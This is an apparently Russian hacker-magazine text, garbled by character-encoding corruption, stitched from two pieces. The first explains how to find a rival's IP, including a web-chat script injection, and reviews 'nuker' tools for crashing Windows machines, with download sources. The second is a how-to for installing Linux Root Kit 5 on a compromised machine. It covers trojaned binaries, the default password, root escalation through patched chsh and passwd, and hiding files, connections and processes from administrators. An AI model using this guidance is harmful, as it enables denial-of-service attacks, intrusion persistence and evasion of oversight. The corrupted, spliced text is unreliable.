äåøü çíàòü àäðåñà âñåõ ïåðöåâ, êî-
òîðûå õîäÿò â ýòîò äâîð. À èíîãäà
äâîðíèêè áûâàþò àëêîãîëèêàìè
(ëàìî-ïðîãðàììåð çàáûë âêëþ÷èòü

â êîä âåá-÷àòà ôóíêöèþ, êîòîðàÿ
ôèëüòðóåò òåãè), è ìîæíî ïîäñó-
íóòü åìó âîäêè (íåáîëüøîé ñêðèï-
òèê). Ïüÿíûé äâîðíèê ëèáî ñàì âû-
äàñò òåáå âñå àäðåñà, ëèáî ñõâàòèò
íàøåãî õðåíêà çà óõî è çàñòàâèò
åãî ñêàçàòü òåáå àäðåñ. Äåéñòâè-
òåëüíî, åñëè ïîñëàòü âðàãó â ãëþ÷-
íîì âåá-÷àòå â êà÷åñòâå ìåññàãè
ñêðèïò, êîòîðûé ðåäèðåêòèò áðàó-
çåð íà òâîþ ñòðàíè÷êó, òî õèòðàÿ
cgi�øêà ó òåáÿ íà ïàãå ëåãêî âûöå-
ïèò IP íåäðóãà èç ïåðåìåííûõ îêðó-
æåíèÿ è çàìûëèò òåáå íà ïî÷òó.
Ðàññòðàèâàåò îäíî: ãëþ÷íûõ âåá-
÷àòîâ ñòàíîâèòñÿ âñå ìåíüøå è
ìåíüøå. Òàê ÷òî ïðèäåòñÿ ðûòü äî-
ïîëíèòåëüíóþ èíôó.

Òåìà âòîðàÿ. ×óâàê èç ÷àòà èìåë
íåîñòîðîæíîñòü îñòàâèòü èíôó î
ñåáå, ãäå äàë ñâîþ àñüêó. Àñüêà -
ýòî òàêàÿ ïåñî÷íèöà, çàõîäÿ â êîòî-
ðóþ, âñå ïèøóò ñâîé àäðåñ â ìà-
ëåíüêóþ ñåêðåòíóþ êíèæå÷êó, ÷òî-
áû èõ ìîãëè íàéòè äðóçüÿ, íî ïîñ-
êîëüêó êíèæå÷êó ýòó íèêòî íå îõðà-
íÿåò (àñüêè ïðîòîêîë æóòêî äûðÿ-
âûé), ìîæíî âûöåïèòü IP àáñîëþò-
íî áåç íàïðÿãà. Åñëè ïîëüçóåøü
ðîäíîé ICQ-êëèåíò, òîãäà ñêà÷àé ñå-
áå UIN2IP. Ýòà ñîôòèíà ïîêàæåò òå-
áå IP þçâåðÿ èç Àñè. Miranda âîîá-
ùå óìååò ïîêàçûâàòü IP ïî äåôîë-
òó, ïðè÷åì êàê âíåøíèé (äëÿ èíå-
òà), òàê è âíóòðåííèé (åñëè ÷óâàê
÷åðåç ëîêàëêó â èíåò âûõîäèò).

Òåìà òðåòüÿ. Òû ïîññîðèëñÿ ñ ÷ó-
âàêîì íå â âåá-÷àòå, à â IRC. Èðêà -
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Âðåìÿ íþêå-
ðîâ óæå ïðî-
õîäèò âìåñòå
ñ ýðîé 95-õ è
98-õ Âèíäîâ.

Âîò ãäå ëåæèò IP�øíèê â Ìèðàíäå.
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ýòî òàêîå ìåñòî, ãäå âñå ïðè âõîäå
äîëæíû çàïèñàòü ñâîé àäðåñ â
áîëüøóþ îáùåäîñòóïíóþ êíèãó,
÷òîáû íèêòî íå ñìîã áåçîáðàçíè-
÷àòü àíîíèìíî, òî åñòü â IRC åñòü
ñïåöèàëüíûé whois ñåðâèñ. Ïîýòî-
ìó äîñòàòî÷íî øëåïíóòü ïî íèêó
âðàæèíû ïðàâîé ïèìïîé êðûñû è
âûáðàòü ïóíêò whois (÷òî çà?!.), êàê
â îêíå ñòàòóñà ïîÿâèòñÿ IP�øíèê ÷å-
ëà è õîñò, ñ êîòîðîãî îí ïðèøåë.

Îäíàêî íàäî ó÷èòûâàòü, ÷òî âðàæè-
íà ìîã ñïðÿòàòüñÿ çà ñïèíîé äðóãî-
ãî ÷åëà aka àíîíèìíîãî ïðîêñè ñåð-
âåðà (åìó ïî ôèãó, ó íåãî áðàò - êà-
÷îê) è çàïèñàòüñÿ ïîä ÷óæèì IP,
òîãäà äåëî - äðÿíü.

Òåìà ÷åòâåðòàÿ. Îòêðûâàåøü òû
äâåðü, à çà íåé äåðüìà íåìåðÿíî.
Êòî åãî ïðèñëàë? Áåðåøü ïàêåò è
÷èòàåøü àäðåñ îòïðàâèòåëÿ, òàì
âñå íàïèñàíî. Íà êîìïå ýòèì çàíè-
ìàåòñÿ ôàåðâîë, êîòîðûé ðåæåò ïà-
êåòû ñ äåðüìîì è ñïèñûâàåò ñ íèõ
IP â ëîãè. Åñëè òû çàñòàë ïðîöåññ
äîñòàâêè äåðüìà ê äâåðè, òî åñòü
îáíàðóæèë, ÷òî òåáÿ íþ÷àò, òî çà-
ïóñêàé èç êîíñîëè netstat (ïðÿìî
òàê è ïèøè), è óâèäèøü âñå ñîåäè-
íåíèÿ ñ òâîåé òà÷êîé ñ IP�øíèêàìè.

Òåìà ïÿòàÿ. Åñëè òâîé âðàæèíà -
áîìæ aka äàéëàïùèê, òî ó íåãî åñòü
òîëüêî âðåìåííûé àäðåñ (äèíàìè-
÷åñêèé IP), êóäà òû ìîæåøü ñëàòü
ïàêåòû ñ äåðüìîì. Íî åñëè íåäðóã
æèâåò ñ òîáîé â îäíîì ïîäúåçäå
aka ëîêàëêå, íî òû íå çíàåøü, ãäå
òî÷íî, òî äîñòàòî÷íî ïðîñêàíèòü
ñåòêó íà íàëè÷èå øàðîâ, è, âîçìîæ-

íî, íàéäåííûå ñåòåâûå òà÷êè è èõ
èìåíà ïîìîãóò òåáå âûÿñíèòü, êòî
èç íèõ - òâîé íåëþáèìåö. Ïðåâðà-
òèòü ñåòåâîå èìÿ â IP, êàê ÿ óæå
ñêàçàë, ìîæíî ñòàíäàðòíîé êîìàí-
äîé èç êîíñîëè: ping urod. Óçíàòü
ñåòåâîå èìÿ ïî IP ìîæíî, åñëè íàá-
ðàòü â êîìàíäíîé ñòðîêå: net view
\\IP-àäðåñ. Ïðàâäà, åñëè ó þçåðà íå
óñòàíîâëåí NetBIOS, òîãäà òû îáëî-
ìàåøüñÿ.

Òåìà øåñòàÿ. Òû âûÿñíèë, ÷òî ó
òâîåãî âðàãà åñòü ñàéòåö, êîòîðûé

îí ðàçìåñòèë íà ñâîåé äîìàøíåé
òà÷êå äëÿ äðóçåé, è äëÿ ýòîãî ïðè-
êóïèë ñåáå ñòàòè÷íûé IP, òî äîñòà-
òî÷íî ïåðåãíàòü url â IP ëþáîé ïðî-
ãîé, êîòîðàÿ óìååò ïîëüçîâàòüñÿ
whois ñåðâèñîì. Íàïðèìåð, ñ ïî-
ìîùüþ èçâåñòíîé ïðîãè Shadow
Scaner, êîòîðàÿ âîîáùå ìíîãî ÷åãî
ïðè æåëàíèè òåáå ïîêàæåò, îá àòà-
êóåìîì õîñòå. Òàê æå ìîæíî óçíàòü
IP ââåäÿ èìÿ ñàéòà, íàïðèìåð, íà
ñåðâåðå www.ripe.net.

ÇËÎÁÍÛÉ ÑÒÐÓÌÅÍÒ
Âîò ó òåáÿ è åñòü âñÿ íåîáõîäèìàÿ
èíôà. Òåïåðü îñòàëîñü âûáðàòü
ñîôò. ß ðåêîìåíäóþ ñêà÷àòü âñå
ýòè ïðîãè - âåäü íèêîãäà íå çíàåøü
ñ ÷åì òåáå ïðèäåòñÿ ñòîëêíóòüñÿ.

Hacksoft Nuke (IGMP)
Êà÷àòü: hacksoft.ru
Ðàçìåð: 490 ÊÊá
Ðàñïðîñòðàíÿåòñÿ: Freeware

Ïåðâûì íîìåðîì íàøåé ïðîãðàì-
ìû âûñòóïàåò ïðîãà Hacksoft Nuke.
Î÷åíü ïðîñòîé èíñòðóìåíò, íàï-
ðî÷ü ðîíÿþùèé 98-é Ìàñòäàé è,
âîçìîæíî è 95-é (åñëè îòêîïàåøü
ãäå-òî ýòîãî äèíîçàâðà, êîíå÷íî),
ïîñðåäñòâîì ïîñûëêè åìó IGMP ïà-

êåòîâ è çàáèâàíèÿ êàíàëà. 98-é âû-
äàåò ïðè ýòîì ñèíèé ýêðàí ñìåðòè,
êîòîðûé, â îáùåì, íå âûçûâàåò çà-
âèñàíèÿ âñåé ñèñòåìû, íî âîò êîí-
íåêò òåðÿåòñÿ, ïîêà àòàêóåìàÿ ìà-
øèíà íå áóäåò ïåðåçàïóùåíà. Íà
XP ñ SP1 íèêàêîãî äåñòðóêòèâíîãî
ýôôåêòà íå áûëî çàìå÷åíî, êðîìå
êðàòêîâðåìåííûõ çàìåäëåíèé ñâÿ-
çè (÷òî ïðîâåðÿëîñü ïîñûëêîé
ping�à ñ àòàêóåìîé ìàøèíû íà àòà-
êóþùóþ). Â îáùåì, þçâåðþ, ñèäÿ-
ùåìó ïîä NT-åâûìè ýòà ïðîãà íàâ-
ðåäèòü íå ñìîæåò. 
Òóëçà ïîçâîëÿåò âûñòàâëÿòü äëè-
òåëüíîñòü àòàêè, ðàçìåð IGMP-ïàêå-
òà è ïåðèîäè÷íîñòü. Äëÿ àòàêè äîñ-
òàòî÷íî çíàòü òîëüêî IP àäðåñ. Îò-
ëè÷íûé èíñòðóìåíò, åñëè íàäî îòï-
ðàâèòü â äàóí ïîëüçîâàòåëÿ 9õ
Ôîðòî÷åê.

Voidozer
Êà÷àòü: sequritylab.ru
Ðàçìåð 700 ÊÊá
Ðàñïðîñòðàíÿåòñÿ: Freeware

Ñëåäóþùèé ýêçåìïëÿð â íàøåé
ëàáîðàòîðèè - ýòî Voidozer. Ñòà-
ðåíüêàÿ ïðîãðàììêà, ðàáîòàþùàÿ â
êîìàíäíîé ñòðîêå. Äåëàåò ïðèìåð-

íî òî æå ñàìîå, ÷òî è ïðåäûäóùàÿ.
Âñå, ÷òî íóæíî óêàçàòü, - ýòî IP èëè
èìÿ õîñòà, è ñêîëüêî ðàç ïîñëàòü
ïàêåò. Îñòàëüíîå ïðîãà ñäåëàåò ñà-
ìà. Êàê è ïðåäûäóùàÿ ñîôòèíà, îíà
ñïîñîáíà óðîíèòü òîëüêî Âèíäû 9x,
à NT-åâûå ê íåé àáñîëþòíî ðàâíî-
äóøíû. Ìîæíî, åùå íåìíîãî ïîô-
ëóäèòü êàíàë. Íà ñåãîäíÿøíèé
äåíü, êîíå÷íî, ïîëüçû îò íåå íå
ìíîãî, íî âñå ðàâíî ïîïðîáóé � ìî-
æåò, èìåííî îíà òåáå è ïîìîæåò.

SMB die
Êà÷àòü: www.nmrc.org/InfoAnarchy/

InfoAnarchy.htm
Ðàçìåð: 400 ÊÊá
Ðàñïðîñòðàíÿåòñÿ: Freeware

Ýòî îðóäèå ïîñåðüåçíåé. Îíî íàï-
ðàâëåíî óæå êàê ðàç íà ïîëüçîâàòå-
ëåé âñåõ ðàçíîâèäíîñòåé NT-òåâûõ,
âêëþ÷àÿ êàê ñàì NT, òàê 2000 è XP.
Äëÿ àòàêè òåáå ïîòðåáóåòñÿ, êàê
îáû÷íî, IP è ñåòåâîå èìÿ òà÷êè. Ïðîãà
äåéñòâóåò ñ ïîìîùüþ ñëóæáû óïðàâ-
ëåíèÿ WMI è ôîðìèðóåò è ïîñûëàåò
òà÷êå íà 139-é ïîðò ñïåöèàëüíî ñôîð-
ìèðîâàííûé SMB-çàïðîñ, êîòîðûé åå
è ïîðàæàåò. Íî òóò åñòü íåáîëüøîé
îáëîì÷èê: åñëè ó þçâåðÿ óñòàíîâëå-
íû ïîñëåäíèå ñåðâèñïàêè è îáíîâëå-

íèÿ, òî âðÿä ëè ïîëó÷èòñÿ çàâàëèòü
åãî ýòèì èíñòðóìåíòîì. Òàêæå îáëî-
ìàåøüñÿ, åñëè ó íåãî íå óñòàíîâëåíà
ñëóæáà WMI, êîòîðàÿ, íàïðèìåð â XP
ñòàâèòñÿ ïî óìîë÷àíèþ, íî íè÷òî íå
ìåøàåò åå óäàëèòü. Ïîñëå óñòàíîâêè
SP1, ñëóæáà WMI òàêæå ñòàíîâèòñÿ
îòêëþ÷åííîé. Ìàøèíà ñ XP áåç ïåð-
âîãî ñåðâèñïàêà è áåç ôàåðâîëà âû-
äàëà ñèíèé ýêðàí è ïåðåçàãðóçèëàñü
ïðè íàøåì ëàáîðàòîðíîì ýêñïåðè-
ìåíòå. Òàê ÷òî åñëè íå õî÷åøü, ÷òîáû
òåáÿ òàê ïîèìåëè, ñòàâü ïîñëåäíèå
îáíîâëåíèÿ, ñåðâèñïàêè è ôàåðâîë, è
áóäåò òåáå ñ÷àñòüå.

Íó âîò, äëÿ íà÷àëà èçó÷åíèÿ ñåòå-
âûõ ïðîòîêîëîâ íà ïðàêòèêå òåáå
õâàòèò. À äàëüøå ÷èòàòü, ÷èòàòü è
åùå ðàç ÷èòàòü.

E

Voidozer: êîíñîëüíûé, íî ïðèêîëüíûé.

Ïèíãàíóëè ïî ñåòåâîìó èìåíè � óâèäåëè IP.

Êòî-òî ê íàì ïîäøàðèëñÿ...

Hacksoft nuke: ïðîñòî äîáàâü Ip!

SMBdie âåëèêèé è óæàñíûé.

Êîãäà íà ïî÷-
òó æóðíàëà

î÷åðåäíîé ðàç
ïðèõîäèò

ïèñüìî ñ âîï-
ðîñîì: «Êàê

óçíàòü IP ëà-
ìåðà â ÷à-

òå?», ïî âñåé
ðåäàêöèè ðàç-

äàåòñÿ ñêðå-
æåò çóáîâ-

íûé. 

Miranda âî-
îáùå óìååò
ïîêàçûâàòü

IP ïî äå-
ôîëòó.



Êàêèå áûâàþò ðóòêèòû, òû çíàåøü. Çíàåøü, ïîä êàêóþ ÎÑü êàêîé è ïðî÷óþ îáùóþ
èíôó, íî âñå-òàêè òåáå õî÷åòñÿ ïðî÷èòàòü ðóêîâîäñòâî ïî óñòàíîâêå ñàìîãî ñóïåð-
ïóïåð îôèãåííîãî ðóòêèòà, ÷òîáû íå çàãðóæàòüñÿ äîêàìè, ðèäìèøêàìè è ïðî÷åé
áàéäîé. Ïîýòîìó â ýòîì HOWTO òû íàéäåøü ïîäðîáíîå ðóêîâîäñòâî ïî óñòàíîâêå è
èñïîëüçîâàíèþ Linux Root Kit 5 (LRK5).

ëÿ íà÷àëà îçíàêîìèì-
ñÿ ñ êîìïëåêòîì...

ÊÈØÊÈ LINUX ROOT KIT�A
Âîò êàêèå òóëçû/áýêäîðû âêëþ÷àåò
â ñåáÿ Linux Root Kit:
bindshell port/shell daemon!
chfn Trojaned! Äàåò þçåðó ïðà-

âà ðóòà.
chsh Trojaned! Äàåò þçåðó ïðà-

âà ðóòà.
crontab Trojaned! Ïðÿ÷åò íåæåëà-

òåëüíûå �ñëåäû� â êðîíå.
du Trojaned! Ïðÿ÷åò ôàéëû.
find Trojaned! Ïðÿ÷åò ôàéëû.
fix Çàìåíÿåò ôàéëû íà ïðî-

áýêäîðåííûå.
ifconfig Trojaned! Ïðÿ÷åò ñíèô-

ôåð.
inetd Trojaned! Äàåò óäàëåííûé

äîñòóï.
killall Trojaned! Íå äàåò óáèòü

ïðîöåññ X (èêñ), ñ ïî-
ìîùüþ killall.

Linsniffer Ñíèôôåð, ïðîñòî ñíèô-
ôåð.

login Trojaned! Ïîçâîëÿåò õàêå-
ðó ëîãèíèòüñÿ ïîä ëþáûì
þçåðîì, èñïîëüçóÿ ïà-
ðîëü ê ðóòêèòó è îáûêíî-
âåííûé login.

ls Trojaned! Ïðÿ÷åò ôàéëû.
netstat Trojaned! Ïðÿ÷åò ïîäêëþ-

÷åíèÿ.
passwd Trojaned! Äàåò þçåðó ïðà-

âà ðóòà.
pidof Trojaned! Ïðÿ÷åò ïðîöåñ-

ñû.
ps Trojaned! Ïðÿ÷åò ïðîöåñ-

ñû.
rshd Trojaned! Äàåò õàêåðó

äîñòóï ðóòà ÷åðåç rsh.
sniffchk Òóëçà, ïðîâåðÿþùàÿ ðà-

áîòîñïîñîáíîñòü ñíèô-
ôåðà è åãî ëîãè.

syslogd Trojaned! Ñòèðàåò ñëåäû â
ëîãàõ.

tcpd Trojaned! Ïðÿ÷åò ñîåäèíå-
íèÿ.

top Trojaned! Ïðÿ÷åò ïðîöåñ-
ñû.

wted wtmp/utmp ðåäàêòîð.
z2 Zap2 utmp/wtmp/lastlog

êëèíåð.

ÓÑÒÀÍÎÂÊÀ
Ïîãîâîðèì îá óñòàíîâêå ýòîé çàìå-
÷àòåëüíîé ïðîãðàììû íà õàêíóòûé
êîìï. Ïåðâîå, ÷òî òåáå ïðèäåòñÿ
ñäåëàòü, - ýòî çàëèòü àðõèâ ñ ðóòêè-
òîì è ðàñïàêîâàòü åãî. Ïðåäïîëî-
æèì, ÷òî òû óæå ýòî ñäåëàë, òàê êàê
ýòî òèïè÷íûå äåéñòâèÿ, êîòîðûå òû
óæå äîëæåí çíàòü. Óñòàíîâêà ðóò-
êèòà ïðåäåëüíî ïðîñòà. Åñëè òû õî-
÷åøü óñòàíîâèòü LRK â ñòàíäàðò-
íîì ðåæèìå, òî äîñòàòî÷íî âûïîë-
íèòü �make all install�. Åñëè æå â òå-
íåâîì, òî �make shadow install�.
Ïàðîëè è ïðî÷àÿ áîäÿãà óñòàíàâëè-
âàåòñÿ â rootkit.h. Âîò ÷òî òàì íàõî-
äèòñÿ è çà÷åì ýòî íóæíî:
ROOTKIT_PASSWORD - ïàðîëü íà
ðóòêèòà, ñîåäèíåíèÿ è ïðî÷óþ áî-
äÿãó, ãäå íóæåí ïàðîëü-èêñ.
ROOTKIT_******_FILE ìîæåøü çà-
ìåíèòü íà ïðîèçâîëüíûå èìåíà, íî
òàê, ÷òîáû îíè íå î÷åíü áðîñàëèñü
â ãëàçà. Æåëàòåëüíî, ÷òîáû ýòè
ôàéëû áûëè â dev, òàê êàê òàì òóå-
âà õó÷à ôàéëîâ, è ÷åðò íîãó ñëî-
ìèò â ïîèñêàõ, ãäå òàì ÷òî :). Îñî-
áåííî ìíîãî ôàéëîâ òèïà
/dev/pt***, ïîýòîìó ïî äåôîëòó è
ñòîÿò èìåííî òàêèå èìåíà. Ìî-
æåøü èõ äàæå íå èçìåíÿòü, íî åñ-
ëè òåáå ïîïàäåòñÿ óìíûé àäìèí,
êîòîðûé ëþáèò âñå äåëàòü ñâîèìè
ðóêàìè, à íå ñ ïîìîùüþ ñïåöïðîã-
ðàìì aka ðóòêèò-ôèíäåðîâ, òî ëó÷-
øå âñå-òàêè çàïàðèòüñÿ ñ èìåíàìè.
Çíàÿ ñòàíäàðòíûå ôàéëû ðóòêèòà,
àäìèí ëåãêî ñäåëàåò, ê ïðèìåðó,
cat /dev/ptys (ïî äåôîëòó ýòî ëîã
ðóòêèòà).
Åñëè òû ïëàíèðóåøü òðîÿíèòü êðîí,
òî ìîæåøü èçìåíèòü è TAB_NAME,
íî êðîí ïî óìîë÷àíèþ íå ïàò÷èòñÿ,
è ïðîòðîÿíèâàòü åãî íàäî ñâîèìè
õýíäàìè, ïðîàïãðåéæåííûìè äî
ñîñòîÿíèÿ �î÷óìåëûå ðó÷êè�. Ìåæ-
äó ïðî÷èì, òðîÿí äëÿ êðîíà ðàáîòà-
åò òîëüêî â Linux RedHat è Linux
Slackware.

ÁÀÃÈ
Äîëæåí ïðåäóïðåäèòü òåáÿ, ÷òî âî
âðåìÿ óñòàíîâêè è êîíôèãóðàöèè
(configure) ìîãóò âîçíèêíóòü îïðåäå-
ëåííûå áàãè, êàê, íàïðèìåð, ó ìåíÿ ñ

äèñòðèáóòèâîì, âçÿòûì ñ ftp.uinc.ru.
Ïðèøëîñü íåìíîãî ïîêîïàòüñÿ â èñ-
õîäíèêàõ. Íî ÷òî òàì íàäî ìåíÿòü,
äîáàâëÿòü, óäàëÿòü - ýòî îòäåëüíûé
ðàçãîâîð, è ïîñâÿòèòü òåáÿ â òîíêîñ-
òè ÿçûêà C++ è shell�à ìíå íå óäàñòñÿ
â îäíîé ñòàòüå. Åñëè òðóäíîñòè âîç-
íèêíóò, ïîïðîáóé îáðàòèòüñÿ êî ìíå
íà e-mail; åñëè íå áóäó ñèëüíî çàíÿò,
òî îáÿçàòåëüíî îòâå÷ó òåáå íà âñå
âîïðîñû, êàñàþùèåñÿ ýòîé ñòàòüè. Ó
ìåíÿ áàã âîçíèê ïðè êîìïèëÿöèè
sniffchk è ñàìîãî ëèíñíèôôåðà, òàê
÷òî ïåðâûì äåëîì ïîïðîáóé ïðîñòî
óáðàòü èõ èç Makefile. Âñå? Óñòàíîâ-
êà ïðîøëà óñïåøíî? Ìîëîäåö, ïðèã-
ëàøàþ òåáÿ â Êðåìëü! Íó, óñòàíîâèë
òû ýòó øòóêåíöèþ, à äàëüøå ÷òî? À
äàëüøå ëåñ... ðåêà... ïîëå... :) Þçàòü
åãî äàëüøå íàäî! Êàê? Íó, òàê è
áûòü, ðàññêàæó.

ÁÅÐÅÌ ÊÎÍÒÐÎËÜ!
Èòàê, ñåé÷àñ òû óçíàåøü, äëÿ ÷åãî
ñëóæèò è êàê èñïîëüçóåòñÿ êàæäàÿ
òóëçà èç ïàêåòà.
chfn - ïîçâîëÿåò þçåðó ïîëó÷èòü
ïðàâà ðóòà. Ðàáîòàåò òàê: çàïóñêàé
chfn, à êîãäà îí ïîïðîñèò òåáÿ
ââåñòè íîâîå èìÿ, ñìåëî ââîäè ïà-
ðîëü ê ðóòêèòó - âçàìåí ïîëó÷èøü
ðóòà :).
chsh - ýòà øòóêîâèíà ðàáîòàåò àíà-
ëîãè÷íî chfn, òîëüêî çäåñü òåáå ïî-
íàäîáèòñÿ ââåñòè âìåñòî èìåíè

øåëëà ïàðîëü ê ðóòêèòó, êñòàòè, ïî
óìîë÷àíèþ îí satori è çàäàåòñÿ â
rootkit.h. Âûãëÿäèò ýòî òàê:

[test@unk-host test]$ chsh
Changing shell for test.
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Password: password_for_user_test (ïàðîëü
ïîëüçîâàòåëÿ, ÍÅ ðóòêèòà)
New shell [/bin/bash]: lepricon
[root@elvis-net test]#

ÏÐß×ÅÌÑß!
ls - ïîçâîëÿåò ïðÿòàòü X(èêñ) ôàé-
ëû. Ñïèñîê ôàéëîâ, êîòîðûå íàäî
ïðÿòàòü, çàäàþòñÿ â òåêñòîâèêå, êî-
òîðûé òû óêàçûâàåøü â ïàðàìåòðå
ROOTKIT_FILES_FILE â rootkit.h, ïî
óìîë÷àíèþ ýòîò ôàéë /dev/ptyr.
Òàêæå ìîæíî ñäåëàòü òàê, ÷òîáû
ýòè ôàéëû ìîæíî áûëî ïðîñìàòðè-
âàòü ñî ñïåöèàëüíûì ôëàãîì �ls -
/�. ×òîáû ðàçðåøèòü åãî èñïîëüçî-
âàíèå, âìåñòî �#undef SHOWFLAG�
â rootkit.h íàïèøèòå �#define
SHOWFLAG� (ýòî íàäî äåëàòü äî
êîìïèëÿöèè è óñòàíîâêè). Ôàéë
ROOTKIT_FILES_FILE (/dev/ptyr ïî
äåôîëòó) èìååò òàêîé âèä:

x-file1
bleva.tar.gz
hacked.tar.gz
.hrenya
directory-1

Òî åñòü ýòî ïðîñòî ïåðå÷åíü ôàé-
ëîâ, êîòîðûå íàäî ïðÿòàòü. Åñòü
îäèí íåäîñòàòîê: åñëè òû íàçîâåøü
ñâîé ôàéë passwd, òî âñå ôàéëû
passwd, äàæå /etc/passwd, íå áóäóò
âûâîäèòüñÿ íà ýêðàí ïî êîìàíäå ls.
Òàê ÷òî âûáèðàé îðèãèíàëüíûå
èìåíà ôàéëîâ è äèð. Ðåãèñòð ÈÌÅ-

ÅÒ çíà÷åíèå, òî åñòü, åñëè òû âïè-
øåøü â ROOTKIT_FILES_FILE äè-
ðåêòîðèþ FiLeZ, òî äèðû filez, filEZ,
FILEZ è ò.ä. ñêðûâàòüñÿ íå áóäóò, òî
æå ñàìîå îòíîñèòñÿ è ê ôàéëàì.
Äîáàâëÿòü è óäàëÿòü ôàéëû èç
ROOTKIT_FILES_FILE ìîæíî áåç ïå-
ðåêîìïèëÿöèè ðóòêèòà.
Ïðîáýêäîðåííûå ñåðâèñû òèïà du
find ðàáîòàþò àíàëîãè÷íî.
netstat - ïàò÷èòñÿ äî ñîñòîÿíèÿ, â
êîòîðîì îí íå ïîêàçûâàåò tcp/udp
ñîåäèíåíèÿ è îòêðûòûå ïîðòû. Òî,
÷òî íàäî ñêðûâàòü, çàäàåòñÿ â òåêñ-
òîâèêå, êîòîðûé óêàçûâàåòñÿ â
rootkit.h â ïàðàìåòðå
ROOTKIT_ADDRESS_FILE, ïî óìîë-
÷àíèþ ýòîò ïàðàìåòð ðàâåí
/dev/ptyq. Åñòü òðè òèïà ïàðàìåò-
ðîâ ñêðûòèÿ, êîòîðûå òû ìîæåøü
çàäàòü â ROOTKIT_ADDRESS_FILE.
Âîò îíè:

òèï 00: ïðÿ÷åò uid
òèï 11: ïðÿ÷åò ëîêàëüíûé àäðåñ
òèï 22: ïðÿ÷åò óäàëåííûé àäðåñ
òèï 33: ïðÿ÷åò ëîêàëüíûé ïîðò
òèï 44: ïðÿ÷åò óäàëåííûé ïîðò
òèï 55: ïðÿ÷åò ïîðòû

Ïðèìåðíîå ñîäåðæàíèå ôàéëà
ROOTKIT_ADDRESS_FILE âîò òàêîå
(ïîÿñíåíèé, åñòåñòâåííî, â ñàìîì
ôàéëå íåò):

0 1337 - ïðÿ÷åò âñå ñîåäèíåíèÿ
ïîëüçîâàòåëÿ ñ þèäîì 1337.

1 194.84 - ïðÿ÷åò âñå ëîêàëüíûå
ñîåäèíåíèÿ ñ ip 194.84.XXX.XXX.

2 194.84.8.1 - ïðÿ÷åò âñå óäàëåí-
íûå ñîåäèíåíèÿ íà ip 194.84.8.1.

3 3355 - ïðÿ÷åò ëîêàëüíûå ñîåäè-
íåíèÿ ñ ïîðòîì 3355.

4 6667 - ïðÿ÷åò âñå óäàëåííûå
ñîåäèíåíèÿ íà ïîðò 6667 (ircd).

5 .ircd - ïðÿ÷åò âñå ircd ñîêåòû
íà õàêíóòîé òà÷êå.

passwd - ýòà ïðîãðàììà (ñåðâèñ) â
ïðîòðîÿíåííîì âèäå äàñò òåáå ïðà-
âà ðóòà. Äëÿ ýòîãî íóæíî âñåãî
ëèøü çíàòü ïàðîëü íà ðóòêèò, êîòî-
ðûé ó òåáÿ çàäàí â rootkit.h. Êîãäà
ïðîãðàììà ïîïðîñèò òåáÿ ââåñòè
ñâîé ñòàðûé ïîëüçîâàòåëüñêèé ïà-
ðîëü, çàáåé âìåñòî íåãî ïàðîëü íà
lrk -> Wellcome root ;).

ÕÐÅÍ ÒÛ ÍÀÑ ÇÀÌÎ×ÈØÜ!
Ïðîïàò÷åííûé killall íå ïîçâîëèò
óáèòü ïðîöåññû, ïåðå÷èñëåííûå â
òåêñòîâèêå, êîòîðûé óêàçûâàåòñÿ
â ïàðàìåòðå
ROOTKIT_PROCESS_FILE â rootkit.h
ñ ïîìîùüþ êîìàíäû killall. Ñòîèò
çàìåòèòü, ÷òî ýòè ôàéëû íå â ñè-
ëàõ óáèòü äàæå ñóïåðþçåð aka
root. Åñòü äâà òèïà ïàðàìåòðîâ,
êîòîðûå ìîæíî çàíîñèòü â
ROOTKIT_PROCESS_FILE (ïî óìîë-
÷àíèþ ýòî /dev/ptyp). Ïåðâûé òèï
- ýòî òî÷íîå íàçâàíèå ïðîöåññà,
êîòîðîå äîëæíî ïîëíîñòüþ ñîîò-
âåòñòâîâàòü ïðîöåññó, kill êîòîðî-
ãî íåëüçÿ äîïóñòèòü. Íàïðèìåð, â
ROOTKIT_PROCESS_FILE òû ìî-
æåøü óêàçàòü ïðîöåññ lamprocess.
Åñëè ðóò ñäåëàåò killall lamprocess,
òî ïðîöåññ íå êèëüíåòñÿ, åñëè æå
â ïðîöåññàõ åñòü lamprocess2, òî
ïî êîìàíäå killall lamprocess2 îí
óñïåøíî ñâåðíåòñÿ.

Âòîðîé òèï - ýòî øàáëîí. Åñëè òà-
êîå ñî÷åòàíèå ñèìâîëîâ âñòðå÷à-
åòñÿ â íàçâàíèè îäíîãî èëè íåñ-
êîëüêèõ ïðîöåññîâ, òî ñ ïîìîùüþ
killall åãî (èõ) òîæå óáèòü íåëüçÿ.
Ê ïðèìåðó, åñëè òû óêàçàë øàá-
ëîí hack, òî ïðîöåññû hack.
Superhack, yhackx è ò.ä. óáèòü kil-
lall�îì íå ïîëó÷èòñÿ. Íî íå çàáû-
âàé, ÷òî ðåãèñòð ñèìâîëîâ èìååò
çíà÷åíèå.
ps - àíàëîãè÷íî killall è pidoff èñ-
ïîëüçóåò ROOTKIT_PROCESS_FILE.
Ñêðûâàåò ïðîöåññû, òåðìèíàëû,
ïðîöåññû ñ îïðåäåëåííûì èìåíåì,
ïðîöåññû îïðåäåëåííîãî ïîëüçî-

�Ïðîøèòûé� passwd â äåéñòâèè

Âîò òàê ðàáîòàåò ïðîáýêäîðåííûé ls

Ïîëåçíàÿ
ññûëêà:

http://www.
east-ua.

kharkov.ru/
modules.
php?op=

modload&
name=

News&file=
article&sid

=176



âàòåëÿ è ò.ä. Âîò ïðèìåðíîå ñîäåðæàíèå ôàéëà
ROOTKIT_PROCESS_FILE:

0  - ïðÿ÷åò âñå ïðîöåññû ïîëüçîâàòåëÿ ñ uid�îì 0, òî åñòü ðó-
òà (uid ìîæåøü ïîñòàâèòü ëþáîé).

1  tty2 - ñêðûâàåò òåðìèíàë tty2.
2  hackprog - ñêðûâàåò âñå ïðîöåññû ñ íàçâàíèåì hackprog.
3  hack - ñêðûâàåò âñå ïðîöåññû, â êîòîðûõ ñîäåðæèòñÿ ñëîâî

hack, íàïðèìåð, hacksoft, thehackd, hackdaemon (ðåãèñòð
èìååò çíà÷åíèå).

Åùå ðàç ïîâòîðþñü, íå îñòàâëÿé êîììåíòàðèåâ â ôàéëàõ
ROOTKIT_XXX_FILE, ÿ ïèøó èõ òåáå ïðîñòî äëÿ ðàçúÿñíåíèÿ.
È íå îñòàâëÿé ïðîáåëîâ ïîñëå íàçâàíèé ôàéëîâ è ïðîöåñ-
ñîâ. Òåêñòîâèêè, ïðîïèñàííûå ROOTKIT_XXX_FILE, äîëæíû
âûãëÿäåòü òàê:
0 vata1
